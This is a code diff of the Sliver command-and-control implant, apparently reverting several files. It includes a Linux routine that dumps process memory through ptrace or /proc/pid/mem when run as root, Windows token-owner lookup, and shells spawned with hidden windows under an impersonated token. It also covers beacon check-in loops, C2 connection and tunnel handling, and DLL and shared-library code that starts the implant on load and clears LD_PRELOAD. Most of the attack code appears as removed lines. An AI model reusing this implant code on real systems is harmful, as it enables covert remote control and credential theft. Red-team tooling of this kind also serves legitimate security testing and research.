+		}
 	}
-	dataBuf := make([]byte, dataLength)
-
-	n, err = io.ReadFull(p.conn, dataBuf)
-
-	if err != nil || n != dataLength {
-		// {{if .Config.Debug}}
-		log.Printf("[pivot] read error: %s\n", err)
-		// {{end}}
-		return nil, err
-	}
-
 	return dataBuf, err
 }
 

implant/sliver/priv/priv_windows.go

@@ -1,4 +1,3 @@
-//go:build windows
 // +build windows
 
 package priv
@@ -596,29 +595,3 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
 
 	return privInfo, integrity, processName, nil
 }
-
-// CurrentTokenOwner returns the current thread's token owner
-func CurrentTokenOwner() (string, error) {
-	currToken := CurrentToken
-	// when the windows.Handle is zero (no impersonation), future method calls
-	// on it result in the windows error INVALID_TOKEN_HANDLE, so we get the
-	// actual handle
-	if currToken == 0 {
-		currToken = windows.GetCurrentProcessToken()
-	}
-	return TokenOwner(currToken)
-}
-
-// TokenOwner will resolve the primary token or thread owner of the given
-// handle
-func TokenOwner(hToken windows.Token) (string, error) {
-	tokenUser, err := hToken.GetTokenUser()
-	if err != nil {
-		return "", err
-	}
-	user, domain, _, err := tokenUser.User.Sid.LookupAccount("")
-	if err != nil {
-		return "", err
-	}
-	return fmt.Sprintf(`%s\%s`, domain, user), err
-}

implant/sliver/procdump/dump_linux.go

@@ -2,21 +2,9 @@
 
 package procdump
 
-import (
-	"bufio"
-	"fmt"
-	"io"
-	"os"
-	"regexp"
-	"runtime"
-	"strconv"
-	"strings"
-	"syscall"
-)
-
 /*
 	Sliver Implant Framework
-	Copyright (C) 2022 Bishop Fox
+	Copyright (C) 2019  Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -32,28 +20,6 @@ import (
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
 
-// A struct to hold information about each region of memory
-type MemoryRegion struct {
-	// Start address of the region
-	start uint64
-
-	// End address of the region
-	end uint64
-
-	/*
-		Flag that indicates if this region is mapped to a file
-		on disk. Currently, we are only dumping regions that
-		are not backed by a file on disk.
-	*/
-	isFile bool
-	
-	// File name - only populated if isFile is true
-	fileName string
-}
-
-// A regex for each line of /proc/<PID>/maps
-var mapLineModel = regexp.MustCompile(`^(\w+)-(\w+)\s+(\S+)\s+\S+\s+(\S+)\s+\d+\s*(\S+)?$`)
-
 // LinuxDump - Structure implementing the ProcessDump
 // interface for linux processes
 type LinuxDump struct {
@@ -65,293 +31,7 @@ func (d *LinuxDump) Data() []byte {
 	return d.data
 }
 
-/*
-	Map out the application's memory using /proc/<pid>/maps
-
-	Map format:
-	    (1)          (2)      (3)    (4)     (5)   (6)                             (7)
-	7f926c0b0000-7f926c0d5000 r--s 00000000 08:03 4327445                    /usr/share/mime/mime.cache
-
-	1: Start address of the memory region
-	2: End address of the memory region
-	3: Permissions (rwx) and p/s (p=private, s=shared)
-	4: Offset (offset in bytes into the file, field 7): This is only relevant to files
-	5: Device ID (the major:minor device ID of the disk that contains the file) - 00:00 for non-file mappings
-	6: inode on the device
-	7: Filename (empty if the mapping is not a file)
-*/
-
-func parseMap(mapLine string) *MemoryRegion {
-	regionInformation := mapLineModel.FindStringSubmatch(mapLine)
-	
-	if regionInformation == nil {
-		// No match
-		return nil
-	}
-
-	if strings.HasPrefix(regionInformation[3], "r") {
-		// This section of memory is readable, and we will return it
-		
-		/*
-			There is a bug in how ptrace reads the vvar region of memory,
-			see https://lkml.iu.edu/hypermail/linux/kernel/1503.1/03733.html
-
-			The vvar region is for shared kernel variables
-
-			If this is vvar, then skip it so that we do not run into errors
-			due to it later
-
-			In testing, other regions reserved by the kernel proved problematic,
-			namely vdso and vsyscall. Those regions likely do not contain any
-			sensitive information, so they can be skipped.
-		*/
-		if regionInformation[5] == "[vvar]" || regionInformation[5] == "[vdso]" || regionInformation[5] == "[vsyscall]" {
-			return nil
-		}
-
-		memRegion := MemoryRegion{}
-		regionStart, err := strconv.ParseUint(regionInformation[1], 16, 64)
-		if err != nil {
-			// Something is wrong with this region, discard this record
-			return nil
-		}
-		memRegion.start = regionStart
-
-		regionEnd, err := strconv.ParseUint(regionInformation[2], 16, 64)
-		if err != nil {
-			// Something is wrong with this region, discard this record
-			return nil
-		}
-		
-		memRegion.end = regionEnd
-
-		if regionInformation[4] == "00:00" {
-			// Then this is not a file
-			memRegion.isFile = false
-			memRegion.fileName = ""
-		} else {
-			memRegion.isFile = true
-			memRegion.fileName = regionInformation[5]
-		}
-		return &memRegion
-	}
-	
-	return nil
-}
-
-/* 
-	Create a map of the process' memory from /proc/<PID>/maps
-	Return: a slice of MemoryRegions, number of bytes represented by the map
-*/
-func createMemoryMap(pid int32) ([]*MemoryRegion, uint64, error) {
-	maps, err := os.Open("/proc/" + strconv.FormatInt(int64(pid), 10) + "/maps")
-
-	if err != nil {
-		// Could not open the map
-		return nil, 0, fmt.Errorf("{{if .Config.Debug}}Could not open memory map for the process{{end}}")
-	}
-
-	defer maps.Close()
-
-	var memorySize uint64 = 0
-	var completeMemoryMap []*MemoryRegion
-
-	buffer := bufio.NewReader(maps)
-	line, err := buffer.ReadString('\n')
-
-	// Keep reading until we hit an error
-	for err == nil {
-		memoryMapInfo := parseMap(strings.TrimSpace(line))
-		// Only concerned about regions not backed by a file on disk
-		if memoryMapInfo != nil && !memoryMapInfo.isFile {
-			completeMemoryMap = append(completeMemoryMap, memoryMapInfo)
-			memorySize += memoryMapInfo.end - memoryMapInfo.start
-		}
-		// Read the next line
-		line, err = buffer.ReadString('\n')
-	}
-
-	// End of file is OK - anything else is not.
-	if err != nil && err != io.EOF {
-		return nil, 0, fmt.Errorf("{{if .Config.Debug}}Error encountered reading through memory maps{{end}}")
-	}
-
-	return completeMemoryMap, memorySize, nil
-}
-
-func checkPermissions() (bool, error) {
-	/*
-		Check to see if we are root.
-		According to the proc man page, we need root unless the process has the dumpable flag.
-		Unless it becomes necessary to check for the dumpable flag, we will keep things simple
-		and require root.
-	*/
-	if currentUID := os.Getuid(); currentUID != 0 {
-		return false, fmt.Errorf("{{if .Config.Debug}}Must be root to read memory from another process{{end}}")
-	}
-
-	/*
-		Check to make sure /proc/sys/kernel/yama/ptrace_scope is not 3
-		(dumping process memory does not work with a ptrace_scope value of 3)
-
-		Yama was merged in kernel 3.4
-
-		If reading the value fails, it might be because it is not there. Should not be a permissions
-		issue because if we make it here, we are root. If it is not there, this might be a super old kernel.
-	*/
-	ptrace_scope, err := os.ReadFile("/proc/sys/kernel/yama/ptrace_scope")
-	if err != nil {
-		// Even if we get an error here, we should try to read process memory anyway.
-		return true, nil
-	}
-
-	if strings.TrimSpace(string(ptrace_scope)) == "3" {
-		return false, fmt.Errorf("{{if .Config.Debug}}ptrace_scope is too restrictive{{end}}")
-	}
-	
-	return true, nil
-}
-
-func isOldKernelVersion() bool {
-	kernelVersionRegex := regexp.MustCompile(`^(\d+)\.(\d+).*$`)
-
-	/*
-		/proc/sys/kernel/osrelease has the version number of the kernel
-		If it is less than 3.3, you can only read memory from the process by attaching
-		to it with ptrace
-	*/
-	kernelVersion, err := os.ReadFile("/proc/sys/kernel/osrelease")
-	if err != nil {
-		/*
-			If this does not exist or is not readable, use the ptrace method
-			since that should work for all kernels (assuming we have the
-			correct permissions which we will check)
-		*/
-		return true
-	}
-
-	majorMinorKVer := kernelVersionRegex.FindStringSubmatch(strings.TrimSpace(string(kernelVersion)))
-
-	if majorMinorKVer == nil {
-		// The kernel version did not match the expected format, use the ptrace method
-		return true
-	}
-
-	majorKVer, err := strconv.Atoi(majorMinorKVer[1])
-	if err != nil {
-		// Unable to determine kernel version so use the ptrace method to be safe
-		return true
-	}
-	
-	if majorKVer > 3 {
-		// We can read directly from /proc/pid/mem on 4.x+ kernels
-		return false
-	} else if majorKVer == 3 {
-		minorKVer, err := strconv.Atoi(majorMinorKVer[2])
-		if err != nil {
-			// Unable to determine the minor kernel version, so use the ptrace method to be safe
-			return true
-		}
-
-		if minorKVer >= 3 {
-			// We can read directly from /proc/pid/mem starting with kernel 3.3
-			return false
-		} else {
-			return true
-		}
-	} else {
-		// If the kernel version is 2.x or lower, we have to use ptrace
-		return true
-	}
-}
-
 func dumpProcess(pid int32) (ProcessDump, error) {
 	res := &LinuxDump{}
-
-	usePTrace := isOldKernelVersion()
-
-	permissionsOK, err := checkPermissions()
-	
-	if !permissionsOK || err != nil {
-		return res, err
-	}
-
-	processRegions, dumpSize, err := createMemoryMap(pid)
-	if err != nil {
-		return res, err
-	}
-
-	// Create a buffer to put the memory
-	res.data = make([]byte, dumpSize)
-
-	currentDumpOffset := 0
-
-	if usePTrace {
-		// Attach to the process using ptrace
-		proc, err := os.FindProcess(int(pid))
-		if err != nil {
-			// Then the process does not exist
-			return res, fmt.Errorf("{{if .Config.Debug}}Could not attach to the process, process does not exist{{end}}")
-		}
-		runtime.LockOSThread()
-		defer runtime.UnlockOSThread()
-
-		err = syscall.PtraceAttach(int(pid))
-		if err != nil {
-			return res, fmt.Errorf("{{if .Config.Debug}}Could not attach to the process{{end}}")
-		}
-
-		_, err = proc.Wait()
-		
-		if err != nil {
-			return res, fmt.Errorf("{{if .Config.Debug}}Failure in waiting for the process after attaching{{end}}")
-		}
-
-		// Read the memory, region by region
-		for _, region := range(processRegions) {
-			numberOfBytes := int(region.end - region.start)
-			bytesRead, err := syscall.PtracePeekData(int(pid), uintptr(region.start), res.data[currentDumpOffset:currentDumpOffset + numberOfBytes])
-			if err != nil {
-				return res, fmt.Errorf("{{if .Config.Debug}}Error reading process memory{{end}}")
-			}
-			currentDumpOffset += bytesRead
-		}
-		
-		// Do not forget to detach when we are done
-		// Send a continue signal so that the process resumes (attaching with ptrace pauses the process)
-		err = syscall.Kill(int(pid), syscall.SIGCONT)
-		if err != nil {
-			return res, fmt.Errorf("{{if .Config.Debug}}Sending continue signal failed - the process is likely hung. Recommend killing it.{{end}}")
-		}
-
-		err = syscall.PtraceDetach(int(pid))
-		if err != nil {
-			return res, fmt.Errorf("{{if .Config.Debug}}Could not detach from the process - the process is likely hung. Recommend killing it.{{end}}")
-		}
-		
-	} else {
-		// Open the memory "file"
-		processMemory, err := os.Open("/proc/" + strconv.FormatInt(int64(pid), 10) + "/mem")
-
-		if err != nil {
-			return res, fmt.Errorf("{{if .Config.Debug}}Could not open process memory{{end}}")
-		}
-
-		defer processMemory.Close()
-
-		for _, region := range(processRegions) {
-			/*
-				Figure out the size of the memory region to read so we know how big of
-				a slice to cut from the buffer
-			*/
-			numberOfBytes := int(region.end - region.start)
-			bytesRead, err := processMemory.ReadAt(res.data[currentDumpOffset:currentDumpOffset + numberOfBytes], int64(region.start))
-			if err != nil && err != io.EOF {
-				return res, fmt.Errorf("{{if .Config.Debug}}Error reading process memory{{end}}")
-			}
-			currentDumpOffset += bytesRead
-		}
-	}
-
 	return res, nil
 }

implant/sliver/ps/ps_windows.go

@@ -104,7 +104,7 @@ func getInfo(t syscall.Token, class uint32, initSize int) (unsafe.Pointer, error
 
 // getTokenOwner retrieves access token t owner account information.
 func getTokenOwner(t syscall.Token) (*syscall.Tokenuser, error) {
-	i, e := getInfo(t, syscall.TokenUser, 50)
+	i, e := getInfo(t, syscall.TokenOwner, 50)
 	if e != nil {
 		return nil, e
 	}

implant/sliver/shell/shell-pty.go

@@ -26,7 +26,6 @@ import (
 	"log"
 	// {{end}}
 
-	"context"
 	"os/exec"
 
 	"github.com/bishopfox/sliver/implant/sliver/shell/pty"
@@ -45,73 +44,63 @@ func Start(command string) error {
 }
 
 // StartInteractive - Start a shell
-func StartInteractive(tunnelID uint64, command []string, enablePty bool) (*Shell, error) {
+func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
 	if enablePty {
 		return ptyShell(tunnelID, command)
 	}
 	return pipedShell(tunnelID, command)
 }
 
-func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
+func pipedShell(tunnelID uint64, command []string) *Shell {
 	// {{if .Config.Debug}}
 	log.Printf("[shell] %s", command)
 	// {{end}}
 
-	ctx, cancel := context.WithCancel(context.Background())
-
-	cmd := exec.CommandContext(ctx, command[0], command[1:]...)
+	cmd := exec.Command(command[0], command[1:]...)
 	stdin, err := cmd.StdinPipe()
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[shell] stdin pipe failed\n")
 		// {{end}}
-		cancel()
-		return nil, err
+		return nil
 	}
 	stdout, err := cmd.StdoutPipe()
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[shell] stdout pipe failed\n")
 		// {{end}}
-		cancel()
-		return nil, err
+		return nil
 	}
 
-	err = cmd.Start()
-
 	return &Shell{
 		ID:      tunnelID,
 		Command: cmd,
 		Stdout:  stdout,
 		Stdin:   stdin,
-		Cancel:  cancel,
-	}, err
+	}
 }
 
-func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
+func ptyShell(tunnelID uint64, command []string) *Shell {
 	// {{if .Config.Debug}}
 	log.Printf("[ptmx] %s", command)
 	// {{end}}
 
-	ctx, cancel := context.WithCancel(context.Background())
-
-	cmd := exec.CommandContext(ctx, command[0], command[1:]...)
+	cmd := exec.Command(command[0], command[1:]...)
 	term, err := pty.Start(cmd)
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[term] %v, falling back to piped shell...", err)
 		// {{end}}
-		cancel()
 		return pipedShell(tunnelID, command)
 	}
+	cmd.Start()
 
 	return &Shell{
 		ID:      tunnelID,
 		Command: cmd,
 		Stdout:  term,
 		Stdin:   term,
-		Cancel:  cancel,
-	}, err
+	}
 }
 
 // GetSystemShellPath - Find bash or sh

implant/sliver/shell/shell.go

@@ -19,7 +19,6 @@ package shell
 */
 
 import (
-	"context"
 	"io"
 	"os"
 	"os/exec"
@@ -31,24 +30,12 @@ type Shell struct {
 	Command *exec.Cmd
 	Stdout  io.ReadCloser
 	Stdin   io.WriteCloser
-	Cancel  context.CancelFunc
 }
 
-// Start - starts a command
-func (s *Shell) Start() error {
-	return s.Command.Start()
-}
-
-// Wait - waits till the command finish
-func (s *Shell) Wait() error {
-	return s.Command.Wait()
-}
-
-// Stop - stopping the command (syskill) using context cancel
-func (s *Shell) Stop() {
-	if s.Cancel != nil {
-		s.Cancel()
-	}
+// StartAndWait starts a system shell then waits for it to complete
+func (s *Shell) StartAndWait() {
+	s.Command.Start()
+	s.Command.Wait()
 }
 
 func exists(path string) bool {

implant/sliver/shell/shell_generic.go

@@ -26,7 +26,6 @@ import (
 	"log"
 	// {{end}}
 
-	"context"
 	"os/exec"
 )
 
@@ -43,33 +42,29 @@ func Start(command string) error {
 }
 
 // StartInteractive - Start a shell
-func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
+func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
 	return pipedShell(tunnelID, command)
 }
 
-func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
+func pipedShell(tunnelID uint64, command []string) *Shell {
 	// {{if .Config.Debug}}
 	log.Printf("[shell] %s", command)
 	// {{end}}
 
-	ctx, cancel := context.WithCancel(context.Background())
-
-	cmd := exec.CommandContext(ctx, command[0], command[1:]...)
+	cmd := exec.Command(command[0], command[1:]...)
 	stdin, err := cmd.StdinPipe()
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[shell] stdin pipe failed\n")
 		// {{end}}
-		cancel()
-		return nil, err
+		return nil
 	}
 	stdout, err := cmd.StdoutPipe()
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[shell] stdout pipe failed\n")
 		// {{end}}
-		cancel()
-		return nil, err
+		return nil
 	}
 
 	return &Shell{
@@ -77,8 +72,7 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
 		Command: cmd,
 		Stdout:  stdout,
 		Stdin:   stdin,
-		Cancel:  cancel,
-	}, nil
+	}
 }
 
 // GetSystemShellPath - Find bash or sh

implant/sliver/shell/shell_windows.go

@@ -23,7 +23,6 @@ import (
 	"log"
 	// {{end}}
 
-	"context"
 	"github.com/bishopfox/sliver/implant/sliver/priv"
 	"golang.org/x/sys/windows"
 	"os/exec"
@@ -62,46 +61,28 @@ func Start(command string) error {
 }
 
 // StartInteractive - Start a shell
-func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
+func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
 	return pipedShell(tunnelID, command)
 }
 
-func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
+func pipedShell(tunnelID uint64, command []string) *Shell {
 	// {{if .Config.Debug}}
 	log.Printf("[shell] %s", command)
 	// {{end}}
 
-	ctx, cancel := context.WithCancel(context.Background())
-
-	cmd := exec.CommandContext(ctx, command[0], command[1:]...)
+	var cmd *exec.Cmd
+	cmd = exec.Command(command[0], command[1:]...)
 	cmd.SysProcAttr = &windows.SysProcAttr{
 		Token:      syscall.Token(priv.CurrentToken),
 		HideWindow: true,
 	}
-	stdin, err := cmd.StdinPipe()
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[shell] stdin pipe failed\n")
-		// {{end}}
-		cancel()
-		return nil, err
-	}
-	stdout, err := cmd.StdoutPipe()
-	if err != nil {
-		// {{if .Config.Debug}}
-		log.Printf("[shell] stdout pipe failed\n")
-		// {{end}}
-		cancel()
-		return nil, err
-	}
-
-	err = cmd.Start()
+	stdin, _ := cmd.StdinPipe()
+	stdout, _ := cmd.StdoutPipe()
 
 	return &Shell{
 		ID:      tunnelID,
 		Command: cmd,
 		Stdout:  stdout,
 		Stdin:   stdin,
-		Cancel:  cancel,
-	}, err
+	}
 }

implant/sliver/sliver.c

@@ -1,7 +1,6 @@
 #include "sliver.h"
 
 #ifdef __WIN32
-#include <windows.h>
 
 DWORD WINAPI Start()
 {
@@ -19,13 +18,13 @@ BOOL WINAPI DllMain(
     case DLL_PROCESS_ATTACH:
         // Initialize once for each new process.
         // Return FALSE to fail DLL load.
-        {
-            // {{if .Config.RunAtLoad}}
-            // CreateThread() because otherwise DllMain() is highly likely to deadlock.
-            HANDLE hThread = CreateThread(NULL, 0, Start, NULL, 0, NULL);
-            // {{end}}
-        }
-        break;
+    {
+        // {{if .Config.IsSharedLib}}
+        HANDLE hThread = CreateThread(NULL, 0, Start, NULL, 0, NULL);
+        // CreateThread() because otherwise DllMain() is highly likely to deadlock.
+        // {{end}}
+    }
+    break;
     case DLL_PROCESS_DETACH:
         // Perform any necessary cleanup.
         break;
@@ -47,9 +46,7 @@ static void init(int argc, char **argv, char **envp)
 {
     unsetenv("LD_PRELOAD");
     unsetenv("LD_PARAMS");
-    // {{if .Config.RunAtLoad}}
     StartW();
-    // {{end}}
 }
 __attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
 #elif __APPLE__
@@ -60,9 +57,7 @@ __attribute__((constructor)) static void init(int argc, char **argv, char **envp
 {
     unsetenv("DYLD_INSERT_LIBRARIES");
     unsetenv("LD_PARAMS");
-    // {{if .Config.RunAtLoad}}
     StartW();
-    // {{end}}
 }
 
 #endif

implant/sliver/sliver.go

@@ -105,11 +105,25 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
 	for {
 		select {
 		default:
-			// {{if .Config.IsBeacon}}
-			beaconStartup()
-			// {{else}}
-			sessionStartup()
-			// {{end}}
+			abort := make(chan struct{})
+			connections := transports.StartConnectionLoop(c2Servers, abort)
+			for connection := range connections {
+				if connection == nil {
+					break
+				}
+				err := sessionMainLoop(connection)
+				if err != nil {
+					connectionErrors++
+					if transports.GetMaxConnectionErrors() < connectionErrors {
+						return
+					}
+				}
+				reconnect := transports.GetReconnectInterval()
+				// {{if .Config.Debug}}
+				log.Printf("Reconnect sleep: %s", reconnect)
+				// {{end}}
+				time.Sleep(reconnect)
+			}
 		case c := <-r:
 			switch c.Cmd {
 			case svc.Interrogate:
@@ -185,16 +199,7 @@ func main() {
 	// {{else}}
 
 	// {{if .Config.IsBeacon}}
-	beaconStartup()
-	// {{else}} ------- IsBeacon/IsSession -------
-	sessionStartup()
-	// {{end}}
 
-	// {{end}} ------- IsService -------
-}
-
-// {{if .Config.IsBeacon}}
-func beaconStartup() {
 	// {{if .Config.Debug}}
 	log.Printf("Running in Beacon mode with ID: %s", InstanceID)
 	// {{end}}
@@ -222,11 +227,9 @@ func beaconStartup() {
 		// {{end}}
 		time.Sleep(reconnect)
 	}
-}
 
-// {{else}}
+	// {{else}} ------- IsBeacon/IsSession -------
 
-func sessionStartup() {
 	// {{if .Config.Debug}}
 	log.Printf("Running in session mode")
 	// {{end}}
@@ -251,9 +254,10 @@ func sessionStartup() {
 		// {{end}}
 		time.Sleep(reconnect)
 	}
-}
+	// {{end}}
 
-// {{end}}
+	// {{end}}
+}
 
 // {{if .Config.IsBeacon}}
 func beaconMainLoop(beacon *transports.Beacon) error {
@@ -298,7 +302,7 @@ func beaconMainLoop(beacon *transports.Beacon) error {
 		Interval:    beacon.Interval(),
 		Jitter:      beacon.Jitter(),
 		Register:    register,
-		NextCheckin: int64(beacon.Duration().Seconds()),
+		NextCheckin: nextCheckin.UTC().Unix(),
 	}))
 	beacon.Close()
 	time.Sleep(time.Second)
@@ -307,23 +311,16 @@ func beaconMainLoop(beacon *transports.Beacon) error {
 	// until all tasks complete (in success or failure), if a task handler blocks
 	// forever it will simply block this set of tasks instead of the entire beacon
 	errors := make(chan error)
-	shortCircuit := make(chan struct{})
 	for {
 		duration := beacon.Duration()
 		nextCheckin = time.Now().Add(duration)
 		go func() {
-			oldInterval := beacon.Interval()
 			err := beaconMain(beacon, nextCheckin)
 			if err != nil {
 				// {{if .Config.Debug}}
 				log.Printf("[beacon] main error: %v", nextCheckin)
 				// {{end}}
 				errors <- err
-			} else if oldInterval != beacon.Interval() {
-				// The beacon's interval was modified so we need to short circuit
-				// the current sleep and tell the server when the next checkin will
-				// be based on the new interval.
-				shortCircuit <- struct{}{}
 			}
 		}()
 
@@ -334,8 +331,6 @@ func beaconMainLoop(beacon *transports.Beacon) error {
 		case <-errors:
 			return err
 		case <-time.After(duration):
-		case <-shortCircuit:
-			// Short circuit current duration with no error
 		}
 	}
 	return nil
@@ -360,7 +355,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
 	// {{end}}
 	err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
 		ID:          InstanceID,
-		NextCheckin: int64(beacon.Duration().Seconds()),
+		NextCheckin: nextCheckin.UTC().Unix(),
 	}))
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -519,12 +514,6 @@ func openSessionHandler(data []byte) {
 // {{end}} -IsBeacon
 
 func sessionMainLoop(connection *transports.Connection) error {
-	if connection == nil {
-		// {{if .Config.Debug}}
-		log.Printf("[session] nil connection!")
-		// {{end}}
-		return nil
-	}
 	err := connection.Start()
 	if err != nil {
 		// {{if .Config.Debug}}
@@ -532,6 +521,12 @@ func sessionMainLoop(connection *transports.Connection) error {
 		// {{end}}
 		return err
 	}
+	if connection == nil {
+		// {{if .Config.Debug}}
+		log.Printf("[session] nil connection!")
+		// {{end}}
+		return nil
+	}
 	pivots.RestartAllListeners(connection.Send)
 	defer pivots.StopAllListeners()
 	defer connection.Stop()

implant/sliver/transports/beacon.go

@@ -30,6 +30,8 @@ import (
 	"net/url"
 	"time"
 
+	"strconv"
+
 	// {{if .Config.MTLSc2Enabled}}
 	"crypto/tls"
 
@@ -50,10 +52,6 @@ import (
 
 	// {{end}}
 
-	// {{if or .Config.MTLSc2Enabled .Config.WGc2Enabled}}
-	"strconv"
-	// {{end}}
-
 	// {{if .Config.DNSc2Enabled}}
 
 	"github.com/bishopfox/sliver/implant/sliver/transports/dnsclient"
@@ -88,12 +86,20 @@ type Beacon struct {
 
 // Interval - Interval between beacons
 func (b *Beacon) Interval() int64 {
-	return GetInterval()
+	interval, err := strconv.ParseInt(`{{.Config.BeaconInterval}}`, 10, 64)
+	if err != nil {
+		interval = int64(30 * time.Second)
+	}
+	return int64(interval)
 }
 
 // Jitter - Jitter between beacons
 func (b *Beacon) Jitter() int64 {
-	return GetJitter()
+	jitter, err := strconv.ParseInt(`{{.Config.BeaconJitter}}`, 10, 64)
+	if err != nil {
+		jitter = int64(30 * time.Second)
+	}
+	return int64(jitter)
 }
 
 // Duration - Interval + random value <= Jitter
@@ -103,7 +109,7 @@ func (b *Beacon) Duration() time.Duration {
 	// {{end}}
 	jitterDuration := time.Duration(0)
 	if 0 < b.Jitter() {
-		jitterDuration = time.Duration(insecureRand.Int63n(b.Jitter()))
+		jitterDuration = time.Duration(int64(insecureRand.Intn(int(b.Jitter()))))
 	}
 	duration := time.Duration(b.Interval()) + jitterDuration
 	// {{if .Config.Debug}}

implant/sliver/transports/connection.go

@@ -1,91 +0,0 @@
-package transports
-
-import (
-	"net/url"
-	"sync"
-
-	pb "github.com/bishopfox/sliver/protobuf/sliverpb"
-)
-
-type Connection struct {
-	Send    chan *pb.Envelope
-	Recv    chan *pb.Envelope
-	IsOpen  bool
-	ctrl    chan struct{}
-	cleanup func()
-	once    *sync.Once
-	tunnels *map[uint64]*Tunnel
-	mutex   *sync.RWMutex
-
-	uri      *url.URL
-	proxyURL *url.URL
-
-	Start Start
-	Stop  Stop
-}
-
-// URL - Get the c2 URL of the connection
-func (c *Connection) URL() string {
-	if c.uri == nil {
-		return ""
-	}
-	return c.uri.String()
-}
-
-// ProxyURL - Get the c2 URL of the connection
-func (c *Connection) ProxyURL() string {
-	if c.proxyURL == nil {
-		return ""
-	}
-	return c.proxyURL.String()
-}
-
-// Cleanup - Execute cleanup once
-func (c *Connection) Cleanup() {
-	c.once.Do(func() {
-		c.cleanup()
-		c.IsOpen = false
-		c.removeAndCloseAllTunnels()
-	})
-}
-
-// Tunnel - Add tunnel to mapping
-func (c *Connection) Tunnel(ID uint64) *Tunnel {
-	c.mutex.RLock()
-	defer c.mutex.RUnlock()
-	return (*c.tunnels)[ID]
-}
-
-// AddTunnel - Add tunnel to mapping
-func (c *Connection) AddTunnel(tun *Tunnel) {
-	c.mutex.Lock()
-	defer c.mutex.Unlock()
-
-	(*c.tunnels)[tun.ID] = tun
-}
-
-// RemoveTunnel - Add tunnel to mapping
-func (c *Connection) RemoveTunnel(ID uint64) {
-	c.mutex.Lock()
-	defer c.mutex.Unlock()
-
-	delete(*c.tunnels, ID)
-}
-
-func (c *Connection) removeAndCloseAllTunnels() {
-	c.mutex.Lock()
-	defer c.mutex.Unlock()
-
-	for id, tunnel := range *c.tunnels {
-		tunnel.Close()
-
-		delete(*c.tunnels, id)
-	}
-}
-
-func (c *Connection) RequestResend(data []byte) {
-	c.Send <- &pb.Envelope{
-		Type: pb.MsgTunnelData,
-		Data: data,
-	}
-}

implant/sliver/transports/httpclient/drivers/win/LICENSE.txt

@@ -1,674 +0,0 @@
-                    GNU GENERAL PUBLIC LICENSE
-                       Version 3, 29 June 2007
-
- Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
- Everyone is permitted to copy and distribute verbatim copies
- of this license document, but changing it is not allowed.
-
-                            Preamble
-
-  The GNU General Public License is a free, copyleft license for
-software and other kinds of works.
-
-  The licenses for most software and other practical works are designed
-to take away your freedom to share and change the works.  By contrast,
-the GNU General Public License is intended to guarantee your freedom to
-share and change all versions of a program--to make sure it remains free
-software for all its users.  We, the Free Software Foundation, use the
-GNU General Public License for most of our software; it applies also to
-any other work released this way by its authors.  You can apply it to
-your programs, too.
-
-  When we speak of free software, we are referring to freedom, not
-price.  Our General Public Licenses are designed to make sure that you
-have the freedom to distribute copies of free software (and charge for
-them if you wish), that you receive source code or can get it if you
-want it, that you can change the software or use pieces of it in new
-free programs, and that you know you can do these things.
-
-  To protect your rights, we need to prevent others from denying you
-these rights or asking you to surrender the rights.  Therefore, you have
-certain responsibilities if you distribute copies of the software, or if
-you modify it: responsibilities to respect the freedom of others.
-
-  For example, if you distribute copies of such a program, whether
-gratis or for a fee, you must pass on to the recipients the same
-freedoms that you received.  You must make sure that they, too, receive
-or can get the source code.  And you must show them these terms so they
-know their rights.
-
-  Developers that use the GNU GPL protect your rights with two steps:
-(1) assert copyright on the software, and (2) offer you this License
-giving you legal permission to copy, distribute and/or modify it.
-
-  For the developers' and authors' protection, the GPL clearly explains
-that there is no warranty for this free software.  For both users' and
-authors' sake, the GPL requires that modified versions be marked as
-changed, so that their problems will not be attributed erroneously to
-authors of previous versions.
-
-  Some devices are designed to deny users access to install or run
-modified versions of the software inside them, although the manufacturer
-can do so.  This is fundamentally incompatible with the aim of
-protecting users' freedom to change the software.  The systematic
-pattern of such abuse occurs in the area of products for individuals to
-use, which is precisely where it is most unacceptable.  Therefore, we
-have designed this version of the GPL to prohibit the practice for those
-products.  If such problems arise substantially in other domains, we
-stand ready to extend this provision to those domains in future versions
-of the GPL, as needed to protect the freedom of users.
-
-  Finally, every program is threatened constantly by software patents.
-States should not allow patents to restrict development and use of
-software on general-purpose computers, but in those that do, we wish to
-avoid the special danger that patents applied to a free program could
-make it effectively proprietary.  To prevent this, the GPL assures that
-patents cannot be used to render the program non-free.
-
-  The precise terms and conditions for copying, distribution and
-modification follow.
-
-                       TERMS AND CONDITIONS
-
-  0. Definitions.
-
-  "This License" refers to version 3 of the GNU General Public License.
-
-  "Copyright" also means copyright-like laws that apply to other kinds of
-works, such as semiconductor masks.
-
-  "The Program" refers to any copyrightable work licensed under this
-License.  Each licensee is addressed as "you".  "Licensees" and
-"recipients" may be individuals or organizations.
-
-  To "modify" a work means to copy from or adapt all or part of the work
-in a fashion requiring copyright permission, other than the making of an
-exact copy.  The resulting work is called a "modified version" of the
-earlier work or a work "based on" the earlier work.
-
-  A "covered work" means either the unmodified Program or a work based
-on the Program.
-
-  To "propagate" a work means to do anything with it that, without
-permission, would make you directly or secondarily liable for
